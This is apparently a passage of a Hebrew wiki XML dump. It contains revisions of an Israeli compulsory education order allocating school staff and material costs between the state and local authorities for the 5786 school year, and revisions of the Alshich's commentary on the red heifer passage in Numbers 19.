:- &quot;מוסד חינוך רשמי&quot; - כמשמעותו [[בסעיף 7(ב) לחוק]];
:- &quot;סייע שילוב&quot; - סייע המעניק שירותי סיוע, לתלמידים משולבים הזכאים לשירותים מיוחדים לפי [[פרק ד'1 לחוק חינוך מיוחד]];
:- &quot;סייע מלווה&quot; - סייע למטרת טיפול בתלמיד עם צרכים רפואיים ייחודיים בחינוך הרגיל או השגחה על תלמיד כאמור;
:- &quot;עובד סיוע&quot; - כל אחד מאלה: טכנאי מעבדה, מתאם מחשוב בית ספרי, מפעיל ציוד אור-קולי כולל ציוד דיגיטלי;
:- &quot;עלות משרה&quot; - עלות משרה מלאה ממוצעת בהתאם לקריטריונים לעניין זה שהמשרד מפרסם לשנת תקציב או לשנת לימודים, לאחר היוועצות במרכז השלטון המקומי;
:- &quot;פסיכולוג מתמחה&quot; - מי שמבצע התמחות לפי [[פרק ב' לתקנות הפסיכולוגים (אישור תואר מומחה), התשל&quot;ט-1979]], ובכלל זה מתמחה זמני כהגדרתו [[בתקנות האמורות]].

@ 2. שיעור ההשתתפות של המדינה
: שיעור ההשתתפות של המדינה בקיום מוסדות חינוך רשמיים בתחומים המפורטים להלן יהיה כמצוין בהם:
: (1) בבית ספר יסודי ובחטיבת ביניים -
:: (א) שכר עבודה - עובד הוראה שהוא עובד המדינה - 100% מעלות משרתו;
:: (ב) אגרת שכפול, חומרי מלאכה וערכות טכנולוגיות - בהתאם לחלוקה של עלות אגרת שכפול, ועלות חומרי מלאכה וערכות טכנולוגיות, לפי אשכול היישובים שלהלן:
::: (1) אשכולות 1 ו-2 - 90%;
::: (2) אשכול 3 - 80%;
::: (3) אשכול 4 - 70%;
::: (4) אשכול 5 - 65%;
::: (5) אשכול 6 - 60%;
::: (6) אשכול 7 - 55%;
::: (7) אשכולות 8 עד 10 - 50%;
::: בפסקת משנה זו -
:::- &quot;עלות אגרת שכפול&quot; -
:::: במוסדות המתוקצבים לפי כיתה - 850 שקלים חדשים לכיתה;
:::: במוסדות המתוקצבים לפי תלמיד - 33 שקלים חדשים לתלמיד לשנה;
:::- &quot;עלות חומרי מלאכה וערכות טכנולוגיות&quot; - 
:::: בגן ילדים לגילאי 5 - 77 שקלים חדשים לתלמיד לשנה;
:::: בבית ספר יסודי - 58 שקלים חדשים לתלמיד לשנה;
:::: בחטיבת ביניים - 80 שקלים חדשים לתלמיד לשנה;
:: (ג) פסיכולוג - 68% מעלות משרתו; ולעניין פסיכולוג מתמחה - 75% מעלות משרתו;
:: (ד) קצין ביקור סדיר - 75% מעלות משרתו;
:: (ה) שירותים נלווים -
::: (1) מזכיר, שרת ופועל ניקיון - 87% מעלות משרתם;
::: (2) בחטיבת ביניים בלבד -
:::: (א) ספרן ורכז חברתי - 100% מעלות משרתם;
:::: (ב) עובד סיוע - 87% מעלות משרתו;
::: (3) סייע שילוב - 70% מעלות משרתו;
::: (4) סייע מלווה - 75% מעלות משרתו;
: (2) בגן ילדים לגילאי 5 -
:: (א) שכר עבודה -
::: (1) עובד הוראה שהוא עובד המדינה - 100% מעלות משרתו;
::: (2) סייעת לגננת - 117.85% מעלות משרתה אם הגן פועל שישה ימים בשבוע; 100% מעלות משרתה אם הגן פועל חמישה ימים בשבוע;
::: (3) סייע שילוב - 70% מעלות משרתו;
::: (4) סייע מלווה - 75% מעלות משרתו;
:: (ב) פסיכולוג - 68% מעלות משרתו; ולעניין פסיכולוג מתמחה - 75% מעלות משרתו;
:: (ג) חומרי מלאכה וערכות טכנולוגיות - בהתאם לעלות חומרי מלאכה וערכות טכנולוגיות כאמור בסעיף 2(1)(ב) לצו זה;
: (3) בגן ילדים לגילאי 3 עד 4 -
:: (א) שכר הלימוד - המשרד ישתתף בשיעור של 90% מעלות אחזקה של גן ילדים, הכוללת חלוקת הסכום של עלות השכר של גננת, סייעת לגננת, וכן הוצאות תפעוליות שאינן שכר, ב-31 - ברשויות המקבלות מענק כללי לאיזון ממשרד הפנים, וברשויות נטולות מענק כללי לאיזון כאמור - ב-33, והכפלתו במספר התלמידים בגן הילדים בפועל; בפסקת משנה זו, &quot;הוצאות תפעוליות שאינן שכר&quot; - הוצאות מינהל, חומרי עבודה, חומרי ניקוי, חשמל, מים, אחזקה, בדק, תיקונים, פחת, ציוד, ריהוט ותמריצים, כפי שיקבע המשרד, מדי שנת תקציב או שנת לימודים, לאחר היוועצות במרכז השלטון המקומי;
:: (ב) שכר עבודה -
::: (1) סייע שילוב - 70% מעלות משרתו;
::: (2) סייע מלווה - 75% מעלות משרתו;
::: (3) פסיכולוג - 68% מעלות משרתו; ולעניין פסיכולוג מתמחה - 75% מעלות משרתו.

@ 3. שיעור השתתפות של רשויות החינוך המקומיות
: שיעור השתתפות של רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים שבתחומן, בכל תחום כמפורט [[בסעיף 2]], יהיה ההפרש שבין 100 אחוזים לשיעור ההשתתפות של המדינה.

@ 4. שיעור הקצאת משרות בידי המדינה
: שיעור הקצאת משרות בידי המדינה לרשויות המקומיות יהיה בכפוף לתקינה שהמשרד מפרסם באתר האינטרנט של המשרד, בכל שנת תקציב או שנת לימודים.

@ 5. תחולה
: צו זה יחול לגבי שנת הלימודים התשפ&quot;ו.

&lt;פרסום&gt; ט&quot;ו בסיוון התשפ&quot;ה (11 ביוני 2025)
&lt;חתימה&gt; יואב קיש שר החינוך</text>
      <sha1>b4idomzy7pnz1kz3we6h6jw4kwr873o</sha1>
    </revision>
    <revision>
      <id>3020708</id>
      <parentid>3020663</parentid>
      <timestamp>2026-06-18T21:00:15Z</timestamp>
      <contributor>
        <username>OpenLawBot</username>
        <id>8112</id>
      </contributor>
      <minor />
      <comment>בוט: תיקונים אוטומטיים</comment>
      <origin>3020708</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="7464" sha1="5ldz52goulyzogqld6ltl2b8g4ig17s" xml:space="preserve">&lt;שם&gt; צו לימוד חובה (שיעור השתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשפ&quot;ו), התשפ&quot;ו-2026

&lt;מקור&gt; ((ק&quot;ת תשפ&quot;ו, 2258|צו לימוד חובה (שיעור השתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשפ&quot;ו)|12432)).

&lt;מבוא&gt; בתוקף סמכותי לפי [[+|סעיף 7(ב)]] [[=החוק|לחוק לימוד חובה, התש&quot;ט-1949]] (להלן - החוק), בהתייעצות עם שר הפנים ועם ועדת החינוך התרבות והספורט של הכנסת, אני מצווה לאמור:

@ 1. הגדרות
: בצו זה -
:- &quot;אשכול יישובים&quot; - דירוג הרמה הכלכלית-חברתית לפי פרסומי הלשכה המרכזית לסטטיסטיקה;
:- &quot;בית ספר יסודי&quot; - מוסד חינוך רשמי שלומדים בו תלמידים בכיתות א' עד ו' או א' עד ח' או א' עד ט';
:- &quot;המשרד&quot; - משרד החינוך;
:- &quot;חוק חינוך מיוחד&quot; - [[חוק חינוך מיוחד, התשמ&quot;ח-1988]];
:- &quot;חטיבת ביניים&quot; - מוסד חינוך רשמי שלומדים בו תלמידים בכיתות ז' עד ט';
:- &quot;מוסד חינוך רשמי&quot; - כמשמעותו [[בסעיף 7(ב) לחוק]];
:- &quot;סייע שילוב&quot; - סייע המעניק שירותי סיוע, לתלמידים משולבים הזכאים לשירותים מיוחדים לפי [[פרק ד'1 לחוק חינוך מיוחד]];
:- &quot;סייע מלווה&quot; - סייע למטרת טיפול בתלמיד עם צרכים רפואיים ייחודיים בחינוך הרגיל או השגחה על תלמיד כאמור;
:- &quot;עובד סיוע&quot; - כל אחד מאלה: טכנאי מעבדה, מתאם מחשוב בית ספרי, מפעיל ציוד אור-קולי כולל ציוד דיגיטלי;
:- &quot;עלות משרה&quot; - עלות משרה מלאה ממוצעת בהתאם לקריטריונים לעניין זה שהמשרד מפרסם לשנת תקציב או לשנת לימודים, לאחר היוועצות במרכז השלטון המקומי;
:- &quot;פסיכולוג מתמחה&quot; - מי שמבצע התמחות לפי [[פרק ב' לתקנות הפסיכולוגים (אישור תואר מומחה), התשל&quot;ט-1979]], ובכלל זה מתמחה זמני כהגדרתו [[בתקנות האמורות]].

@ 2. שיעור ההשתתפות של המדינה
: שיעור ההשתתפות של המדינה בקיום מוסדות חינוך רשמיים בתחומים המפורטים להלן יהיה כמצוין בהם:
: (1) בבית ספר יסודי ובחטיבת ביניים -
:: (א) שכר עבודה - עובד הוראה שהוא עובד המדינה - 100% מעלות משרתו;
:: (ב) אגרת שכפול, חומרי מלאכה וערכות טכנולוגיות - בהתאם לחלוקה של עלות אגרת שכפול, ועלות חומרי מלאכה וערכות טכנולוגיות, לפי אשכול היישובים שלהלן:
::: (1) אשכולות 1 ו-2 - 90%;
::: (2) אשכול 3 - 80%;
::: (3) אשכול 4 - 70%;
::: (4) אשכול 5 - 65%;
::: (5) אשכול 6 - 60%;
::: (6) אשכול 7 - 55%;
::: (7) אשכולות 8 עד 10 - 50%;
::: בפסקת משנה זו -
:::- &quot;עלות אגרת שכפול&quot; -
:::: במוסדות המתוקצבים לפי כיתה - 850 שקלים חדשים לכיתה;
:::: במוסדות המתוקצבים לפי תלמיד - 33 שקלים חדשים לתלמיד לשנה;
:::- &quot;עלות חומרי מלאכה וערכות טכנולוגיות&quot; -
:::: בגן ילדים לגילאי 5 - 77 שקלים חדשים לתלמיד לשנה;
:::: בבית ספר יסודי - 58 שקלים חדשים לתלמיד לשנה;
:::: בחטיבת ביניים - 80 שקלים חדשים לתלמיד לשנה;
:: (ג) פסיכולוג - 68% מעלות משרתו; ולעניין פסיכולוג מתמחה - 75% מעלות משרתו;
:: (ד) קצין ביקור סדיר - 75% מעלות משרתו;
:: (ה) שירותים נלווים -
::: (1) מזכיר, שרת ופועל ניקיון - 87% מעלות משרתם;
::: (2) בחטיבת ביניים בלבד -
:::: (א) ספרן ורכז חברתי - 100% מעלות משרתם;
:::: (ב) עובד סיוע - 87% מעלות משרתו;
::: (3) סייע שילוב - 70% מעלות משרתו;
::: (4) סייע מלווה - 75% מעלות משרתו;
: (2) בגן ילדים לגילאי 5 -
:: (א) שכר עבודה -
::: (1) עובד הוראה שהוא עובד המדינה - 100% מעלות משרתו;
::: (2) סייעת לגננת - 117.85% מעלות משרתה אם הגן פועל שישה ימים בשבוע; 100% מעלות משרתה אם הגן פועל חמישה ימים בשבוע;
::: (3) סייע שילוב - 70% מעלות משרתו;
::: (4) סייע מלווה - 75% מעלות משרתו;
:: (ב) פסיכולוג - 68% מעלות משרתו; ולעניין פסיכולוג מתמחה - 75% מעלות משרתו;
:: (ג) חומרי מלאכה וערכות טכנולוגיות - בהתאם לעלות חומרי מלאכה וערכות טכנולוגיות כאמור בסעיף 2(1)(ב) לצו זה;
: (3) בגן ילדים לגילאי 3 עד 4 -
:: (א) שכר הלימוד - המשרד ישתתף בשיעור של 90% מעלות אחזקה של גן ילדים, הכוללת חלוקת הסכום של עלות השכר של גננת, סייעת לגננת, וכן הוצאות תפעוליות שאינן שכר, ב-31 - ברשויות המקבלות מענק כללי לאיזון ממשרד הפנים, וברשויות נטולות מענק כללי לאיזון כאמור - ב-33, והכפלתו במספר התלמידים בגן הילדים בפועל; בפסקת משנה זו, &quot;הוצאות תפעוליות שאינן שכר&quot; - הוצאות מינהל, חומרי עבודה, חומרי ניקוי, חשמל, מים, אחזקה, בדק, תיקונים, פחת, ציוד, ריהוט ותמריצים, כפי שיקבע המשרד, מדי שנת תקציב או שנת לימודים, לאחר היוועצות במרכז השלטון המקומי;
:: (ב) שכר עבודה -
::: (1) סייע שילוב - 70% מעלות משרתו;
::: (2) סייע מלווה - 75% מעלות משרתו;
::: (3) פסיכולוג - 68% מעלות משרתו; ולעניין פסיכולוג מתמחה - 75% מעלות משרתו.

@ 3. שיעור השתתפות של רשויות החינוך המקומיות
: שיעור השתתפות של רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים שבתחומן, בכל תחום כמפורט [[בסעיף 2]], יהיה ההפרש שבין 100 אחוזים לשיעור ההשתתפות של המדינה.

@ 4. שיעור הקצאת משרות בידי המדינה
: שיעור הקצאת משרות בידי המדינה לרשויות המקומיות יהיה בכפוף לתקינה שהמשרד מפרסם באתר האינטרנט של המשרד, בכל שנת תקציב או שנת לימודים.

@ 5. תחולה
: צו זה יחול לגבי שנת הלימודים התשפ&quot;ו.

&lt;פרסום&gt; ט&quot;ו בסיוון התשפ&quot;ה (11 ביוני 2025)
&lt;חתימה&gt; יואב קיש שר החינוך</text>
      <sha1>5ldz52goulyzogqld6ltl2b8g4ig17s</sha1>
    </revision>
  </page>
  <page>
    <title>אלשיך על במדבר</title>
    <ns>0</ns>
    <id>1744400</id>
    <revision>
      <id>3020669</id>
      <timestamp>2026-06-18T16:54:27Z</timestamp>
      <contributor>
        <username>Do2or</username>
        <id>5565</id>
      </contributor>
      <comment>יצירת דף עם התוכן &quot;{{פרשן על ספר|אלשיך|במדבר}}&quot;</comment>
      <origin>3020669</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="46" sha1="80pheca0z7hhym81bmn9df5eewsv6zv" xml:space="preserve">{{פרשן על ספר|אלשיך|במדבר}}</text>
      <sha1>80pheca0z7hhym81bmn9df5eewsv6zv</sha1>
    </revision>
  </page>
  <page>
    <title>אלשיך על במדבר יט</title>
    <ns>0</ns>
    <id>1744401</id>
    <revision>
      <id>3020684</id>
      <timestamp>2026-06-18T17:28:10Z</timestamp>
      <contributor>
        <username>Do2or</username>
        <id>5565</id>
      </contributor>
      <comment>יצירת דף עם התוכן &quot;(א-ב) '''וידבר ה' אל משה ואל אהרן לאמר'''. '''זאת חקת התורה''' '''אשר צוה ה' לאמר דבר אל בני ישראל ויקחו אליך פרה אדומה תמימה אשר אין בה מום אשר לא עלה עליה על''' כו'. הנה יקשה אומרו לאמר זה פעמים, ועוד שהיה ראוי יאמר הצווי ואח&quot;כ יאמר והיתה זאת לכם לחק או לחקת עולם ולא ית...&quot;</comment>
      <origin>3020684</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="8481" sha1="pwou688vxff3by6zn69bzm4edhsbb5b" xml:space="preserve">(א-ב) '''וידבר ה' אל משה ואל אהרן לאמר'''. '''זאת חקת התורה''' '''אשר צוה ה' לאמר דבר אל בני ישראל ויקחו אליך פרה אדומה תמימה אשר אין בה מום אשר לא עלה עליה על''' כו'. הנה יקשה אומרו לאמר זה פעמים, ועוד שהיה ראוי יאמר הצווי ואח&quot;כ יאמר והיתה זאת לכם לחק או לחקת עולם ולא יתחיל בזאת חקת כאילו אין חק זולתו בתורה. ויתכן כי למה שחוקה זו תאמץ לבב כל שומעה יותר מכל חוקי התורה כי לא בלבד היא בלי טעם כי אם גם סותרים עניניה זה את זה מטמאה את הטהורים ומטהרת הטמאים, שעל כן השטן ואומות העולם מונים את ישראל כו', ועל כן קרוב אדם להרהר אחריה, על כן אמר הוא יתברך אם תקדים אמירת הצווי אל אמור שהיא חקה לא יבצר מלהרהר בשומעם הצווי, על כן טרם הדבר אמור להם זאת חקת התורה, כלומר זאת שאני בא לאמר לכם דעו מתחלה כי חקת התורה היא ואל תהרהרו ואח&quot;כ אמור הצווי זאת חקת התורה הוא אשר צוה ה' לאמר תחלה, ואח&quot;כ צווי ויקחו אליך וכו'. 

או שיעור התכת וידבר ה' אל משה ואל אהרן לאמר לישראל זאת חקת התורה אשר צוה ה', כלומר ואין להרהר כדי לאמר ואח&quot;כ ויקחו אליך שהיא המצוה. עוד יתכן יכוין מה שאמרו ז&quot;ל במלת אליך שהוא גם שלמדתיך סוד הפרה אדומה אל תגלה סודה כ&quot;א אליך בלבד. וע&quot;ד הפשט יתכן יהיה זה מפורש במלת לאמר, והוא כי היה מקום כי להיות זאת חקה זרה ללבב למען השקיט הרהורה טוב להגיד להם סודה ליישב דעתם, לז&quot;א זאת חקת התורה שהוא דבר זר אצל השכל עם כל זה אשר צוה ה' לאמר אינו רק ויקחו אליך וכו' שהוא פשט המעשה אך לא סודה כ&quot;א יהיה לחוק בלי טעם אצלם כמ&quot;ש ז&quot;ל חוקה חקקתי גזירה גזרתי ואין להרהר אחריה. 

והנה ראוי לשים לב אל כפל מאמרם ז&quot;ל ובמלות שונות חוקה חקקתי גזירה גזרתי. ולבא אל הענין נזכירה מז&quot;ל מעשה ששאל גוי אחד את ר' יוחנן בן זכאי ואמר תורתכם היא מעשה כשפים שהטמא מת אתם מביאים אפר וזורקים עליו ואומרים טהור טהור, א&quot;ל נכנסה רוח תוות בך וכו', וא&quot;ל תלמידיו לזה דחית בקנה לנו מה אתה משיב, א&quot;ל חוקה חקקתי וכו'. והנה ממאמר זה יורה כי לא בלבד על נגדיותו שמטהר את הטמא ומטמא את הטהור הוא תימא כ&quot;א גם על מציאות הטהרה שהוא מה שהוקשה לגוי אמר על זה לתלמידיו חוקה חקקתי כו', ע&quot;כ יתכן כי שני דברים תמוהים בדבר, א' איך מטהר את הטמא. ב' איך מתהפך לטמא את הטהור. על כן הטיבו אשר דברו רז&quot;ל באומרם חוקה חקקתי על הא', גזירה גזרתי על הב' היותר תמוהה על כן אמר בה לשון גזירה. 

או יאמר בייתור מלת לאמר ואומרו התורה. ועוד התייחד בזה הדיבור אל אהרן ומה גם כי נשתנה דיבור זה מהזולת כי הנה בהחדש הזה לכם כו' מייחד הדיבור אל אהרן עמו ואומר דברו אל שני הנדברים, אך פה אומר אל משה ואל אהרן ואח&quot;כ אינו מצוה לדבר רק אל משה לבדו דבר אל בני ישראל ויקחו אליך כו', ואם הצטרף גם אהרן הוא על שעתיד לומר ונתתם אותה שיחזור אל שניהם שיתנוה, היה יכול לדבר עם משה ולומר ויקחו אליך ונתתם אותה אתה ואהרן וכו' ולא לייחד הדיבור על מה שהוא אינו מדבר.

ולבא אל הענין נשית לב להבין מז&quot;ל, והוא כי כשאמר הקב&quot;ה למשה אמור אל הכהנים בני אהרן לנפש לא יטמא כו' אמר לו משה ואם יטמאו מה תקנתם, ולא החזיר לו תשובה, נתכרכמו פניו של משה שנאמר ועוז פניו ישונא כו'. וראוי להעיר היכן נרמז ששאל משה מה תקנתם, וגם למה לא השיב לו אז תשובה עד בואו אל המקום הזה. ועוד כי הלא לא היה דבר בתורה שלא קבל משה בסיני, והיתכן שטהרת טמאי מתים לא נאמרה לו ומה גם שהיא פרשה ראשונה מהתורה, ועוד שבפירוש ארז&quot;ל כי במרה שהיה קודם מתן תורה ניתנו לישראל שבת ודינים ופרה אדומה, ואם כן מה זו שאלה ואם יטמאו מה תקנתם, ועוד אומרו נתכרכמו פניו אם הוא שנתקשה על בלתי היות תקנה היל&quot;ל תמה משה וכיוצא בזה, אך באומרו נתכרכמו פניו נראה כי נגע אל עצמו צער גדול בדבר ואיננו לפי הנראה. אך הנה זה יתבאר בהבין מאמר זולתו הלא הוא שאמרו ז&quot;ל, משל לשפחה שטינף בנה פלטין של מלך אמר המלך תבא אמו ותקנח, כך תבא הפרה שהיא אמו של עגל ותקנחהו וכו'. כי הנה במאמר ההוא יקשה כי אם היתה פרה מכפרת על העון העגל היה המשל צודק, אך לא כן הוא רק לטהר את הטמא מת. אמנם הנה בפרשת אמור כתבנו כי זוהמת נפש המביאה מיתה לאדם בהיותה כרוכה בו כנודע פסקה בהר סיני והיה לנו חירות ממלאך המות לולא העגל שהחזיר הזוהמא למקומה והסיב המיתה והטומאה כי אשר יטמא הנוגע או מאהיל עליו, לכן מי תקנח טינוף המדבר בנטמא למת על ידי העגל תבא אמו וכו', וזהו אומרו טינף פלטין של מלך שהוא האדם העובד את ה' כי היכל ה' הוא באומרו ושכנתי בתוכם ולא נאמר בתוכו. בנוגעו במת הוא העגל שהביא הזוהמא וסיבב יטמא הנוגע במת וכו', תבא אמו וכו'. ונבא אל עניינינו והוא כי לא יבצר מהיות פתחון פה לאדם לדבר ולומר כי סיבה ראשונה לזה היה אהרן כי מתחת ידו יצא העגל ההוא המביא מיתה וטומאה, והלא יהיה לאהרן לבושת מנפש ועד בשר יגיע לומר כי הוא היסב מיתה וטומאה, ולא עוד כי אם גם באומרו יתברך התיקון בפרה לא יאות יזכר אהרן בדבר פן תהיה לו למחיתה במזכרת עון, על כן מה עשה הוא יתברך שיתפו עם משה ואמר וידבר ה' אל משה ואל אהרן לאמר, כלומר וידבר ה' ענין שאל משה ואל אהרן יאות לאמר, כי כאשר אין על משה בושה על דבר העגל כי על השמים היה ויאות לו לאמר ענין זה גן גם לאהרן יאות לאמר כי לא דבק בידו מאומה מן החרם ההוא, ומה גם לרז&quot;ל האומרים כי לא נענש והתאנף בו ה' רק על שעמד והפליג לכל ישראל כל אותו היום לההביל ענין העגל שאמר לו הקדוש ברוך הוא הנה עשיתם מזידים יותר, אך לא על מעשה העגל מצד עצמו. ובזה יובן המאמר הקודם כי בשמוע משה אמור אל הכהנים בני אהרן לנפש לא יטמא הרגיש משה על כבוד אהרן כי בני אהרן נטמאים במת והוא על מה שנעשה על ידי, על כן אמר בלבו הנה לא תהיה החרפה כל כך גדולה אם יהיה תקנה בדבר, אך אם אין תקנה הוא חרפה עצומה</text>
      <sha1>pwou688vxff3by6zn69bzm4edhsbb5b</sha1>
    </revision>
    <revision>
      <id>3020685</id>
      <parentid>3020684</parentid>
      <timestamp>2026-06-18T17:40:46Z</timestamp>
      <contributor>
        <username>Do2or</username>
        <id>5565</id>
      </contributor>
      <origin>3020685</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="13167" sha1="0dw3l1p1gh52my8z14del7f4mx9eivo" xml:space="preserve">(א-ב) '''וידבר ה' אל משה ואל אהרן לאמר'''. '''זאת חקת התורה''' '''אשר צוה ה' לאמר דבר אל בני ישראל ויקחו אליך פרה אדומה תמימה אשר אין בה מום אשר לא עלה עליה על''' כו'. הנה יקשה אומרו לאמר זה פעמים, ועוד שהיה ראוי יאמר הצווי ואח&quot;כ יאמר והיתה זאת לכם לחק או לחקת עולם ולא יתחיל בזאת חקת כאילו אין חק זולתו בתורה. ויתכן כי למה שחוקה זו תאמץ לבב כל שומעה יותר מכל חוקי התורה כי לא בלבד היא בלי טעם כי אם גם סותרים עניניה זה את זה מטמאה את הטהורים ומטהרת הטמאים, שעל כן השטן ואומות העולם מונים את ישראל כו', ועל כן קרוב אדם להרהר אחריה, על כן אמר הוא יתברך אם תקדים אמירת הצווי אל אמור שהיא חקה לא יבצר מלהרהר בשומעם הצווי, על כן טרם הדבר אמור להם זאת חקת התורה, כלומר זאת שאני בא לאמר לכם דעו מתחלה כי חקת התורה היא ואל תהרהרו ואח&quot;כ אמור הצווי זאת חקת התורה הוא אשר צוה ה' לאמר תחלה, ואח&quot;כ צווי ויקחו אליך וכו'. 

או שיעור התכת וידבר ה' אל משה ואל אהרן לאמר לישראל זאת חקת התורה אשר צוה ה', כלומר ואין להרהר כדי לאמר ואח&quot;כ ויקחו אליך שהיא המצוה. עוד יתכן יכוין מה שאמרו ז&quot;ל במלת אליך שהוא גם שלמדתיך סוד הפרה אדומה אל תגלה סודה כ&quot;א אליך בלבד. וע&quot;ד הפשט יתכן יהיה זה מפורש במלת לאמר, והוא כי היה מקום כי להיות זאת חקה זרה ללבב למען השקיט הרהורה טוב להגיד להם סודה ליישב דעתם, לז&quot;א זאת חקת התורה שהוא דבר זר אצל השכל עם כל זה אשר צוה ה' לאמר אינו רק ויקחו אליך וכו' שהוא פשט המעשה אך לא סודה כ&quot;א יהיה לחוק בלי טעם אצלם כמ&quot;ש ז&quot;ל חוקה חקקתי גזירה גזרתי ואין להרהר אחריה. 

והנה ראוי לשים לב אל כפל מאמרם ז&quot;ל ובמלות שונות חוקה חקקתי גזירה גזרתי. ולבא אל הענין נזכירה מז&quot;ל מעשה ששאל גוי אחד את ר' יוחנן בן זכאי ואמר תורתכם היא מעשה כשפים שהטמא מת אתם מביאים אפר וזורקים עליו ואומרים טהור טהור, א&quot;ל נכנסה רוח תוות בך וכו', וא&quot;ל תלמידיו לזה דחית בקנה לנו מה אתה משיב, א&quot;ל חוקה חקקתי וכו'. והנה ממאמר זה יורה כי לא בלבד על נגדיותו שמטהר את הטמא ומטמא את הטהור הוא תימא כ&quot;א גם על מציאות הטהרה שהוא מה שהוקשה לגוי אמר על זה לתלמידיו חוקה חקקתי כו', ע&quot;כ יתכן כי שני דברים תמוהים בדבר, א' איך מטהר את הטמא. ב' איך מתהפך לטמא את הטהור. על כן הטיבו אשר דברו רז&quot;ל באומרם חוקה חקקתי על הא', גזירה גזרתי על הב' היותר תמוהה על כן אמר בה לשון גזירה. 

או יאמר בייתור מלת לאמר ואומרו התורה. ועוד התייחד בזה הדיבור אל אהרן ומה גם כי נשתנה דיבור זה מהזולת כי הנה בהחדש הזה לכם כו' מייחד הדיבור אל אהרן עמו ואומר דברו אל שני הנדברים, אך פה אומר אל משה ואל אהרן ואח&quot;כ אינו מצוה לדבר רק אל משה לבדו דבר אל בני ישראל ויקחו אליך כו', ואם הצטרף גם אהרן הוא על שעתיד לומר ונתתם אותה שיחזור אל שניהם שיתנוה, היה יכול לדבר עם משה ולומר ויקחו אליך ונתתם אותה אתה ואהרן וכו' ולא לייחד הדיבור על מה שהוא אינו מדבר.

ולבא אל הענין נשית לב להבין מז&quot;ל, והוא כי כשאמר הקב&quot;ה למשה אמור אל הכהנים בני אהרן לנפש לא יטמא כו' אמר לו משה ואם יטמאו מה תקנתם, ולא החזיר לו תשובה, נתכרכמו פניו של משה שנאמר ועוז פניו ישונא כו'. וראוי להעיר היכן נרמז ששאל משה מה תקנתם, וגם למה לא השיב לו אז תשובה עד בואו אל המקום הזה. ועוד כי הלא לא היה דבר בתורה שלא קבל משה בסיני, והיתכן שטהרת טמאי מתים לא נאמרה לו ומה גם שהיא פרשה ראשונה מהתורה, ועוד שבפירוש ארז&quot;ל כי במרה שהיה קודם מתן תורה ניתנו לישראל שבת ודינים ופרה אדומה, ואם כן מה זו שאלה ואם יטמאו מה תקנתם, ועוד אומרו נתכרכמו פניו אם הוא שנתקשה על בלתי היות תקנה היל&quot;ל תמה משה וכיוצא בזה, אך באומרו נתכרכמו פניו נראה כי נגע אל עצמו צער גדול בדבר ואיננו לפי הנראה. אך הנה זה יתבאר בהבין מאמר זולתו הלא הוא שאמרו ז&quot;ל, משל לשפחה שטינף בנה פלטין של מלך אמר המלך תבא אמו ותקנח, כך תבא הפרה שהיא אמו של עגל ותקנחהו וכו'. כי הנה במאמר ההוא יקשה כי אם היתה פרה מכפרת על העון העגל היה המשל צודק, אך לא כן הוא רק לטהר את הטמא מת. אמנם הנה בפרשת אמור כתבנו כי זוהמת נפש המביאה מיתה לאדם בהיותה כרוכה בו כנודע פסקה בהר סיני והיה לנו חירות ממלאך המות לולא העגל שהחזיר הזוהמא למקומה והסיב המיתה והטומאה כי אשר יטמא הנוגע או מאהיל עליו, לכן מי תקנח טינוף המדבר בנטמא למת על ידי העגל תבא אמו וכו', וזהו אומרו טינף פלטין של מלך שהוא האדם העובד את ה' כי היכל ה' הוא באומרו ושכנתי בתוכם ולא נאמר בתוכו. בנוגעו במת הוא העגל שהביא הזוהמא וסיבב יטמא הנוגע במת וכו', תבא אמו וכו'. ונבא אל עניינינו והוא כי לא יבצר מהיות פתחון פה לאדם לדבר ולומר כי סיבה ראשונה לזה היה אהרן כי מתחת ידו יצא העגל ההוא המביא מיתה וטומאה, והלא יהיה לאהרן לבושת מנפש ועד בשר יגיע לומר כי הוא היסב מיתה וטומאה, ולא עוד כי אם גם באומרו יתברך התיקון בפרה לא יאות יזכר אהרן בדבר פן תהיה לו למחיתה במזכרת עון, על כן מה עשה הוא יתברך שיתפו עם משה ואמר וידבר ה' אל משה ואל אהרן לאמר, כלומר וידבר ה' ענין שאל משה ואל אהרן יאות לאמר, כי כאשר אין על משה בושה על דבר העגל כי על השמים היה ויאות לו לאמר ענין זה גן גם לאהרן יאות לאמר כי לא דבק בידו מאומה מן החרם ההוא, ומה גם לרז&quot;ל האומרים כי לא נענש והתאנף בו ה' רק על שעמד והפליג לכל ישראל כל אותו היום לההביל ענין העגל שאמר לו הקדוש ברוך הוא הנה עשיתם מזידים יותר, אך לא על מעשה העגל מצד עצמו. ובזה יובן המאמר הקודם כי בשמוע משה אמור אל הכהנים בני אהרן לנפש לא יטמא הרגיש משה על כבוד אהרן כי בני אהרן נטמאים במת והוא על מה שנעשה על ידי, על כן אמר בלבו הנה לא תהיה החרפה כל כך גדולה אם יהיה תקנה בדבר, אך אם אין תקנה הוא חרפה עצומה לאהרן, והוא כי חשב שתיקון אפר פרה לטמא מת לא יהיה לזרע אהרן, יען על ידו היה בא טומאת מת לעולם ואיך יטהרו על ידי אמו של עגל, ועלה בדעתו שאומרו יתברך לבני אהרן שלא יטמאו הוא על כי אין להם תיקון, כי מה שנאמרה טהרת אפר פרה הוא לישראלים ולויים, על כן שאל אם יטמאו מה תקנתם, וע לכן כאשר שתק הקדוש ברוך הוא נתכרכמו פניו על כבוד אהרן. והנה ה' חשבה לטובה והוא כי אם היה משיב לו פרשת פרה לא היה נראה כי אפילו אהרן היה ראוי שתאמר פרשת פרה על ידו כי היה משיב לו לבדו כי לא היה אז אהרן עמו, לכן המתין עד שקבע הפרשה על שם שניהם באומרו וידבר ה' אל משה ואל אהרן לאמר, כי לא עתה יבוש אהרן בענין זה כי הנה כמוהו כמשה ראויים לאמר על ידם, וזה אומרו לאמר. ולהיות הכוונה כך כשדבר הצווי לישראל לא הוזכר רק משה לבדו כאומרו ויקחו אליך וכו', כי כל עיקר כוונת פסוק ראשון אינו אלא להשוות את שניהם בדבר כי לא ידע בכשופיהם והוא כמו שכתבנו. 
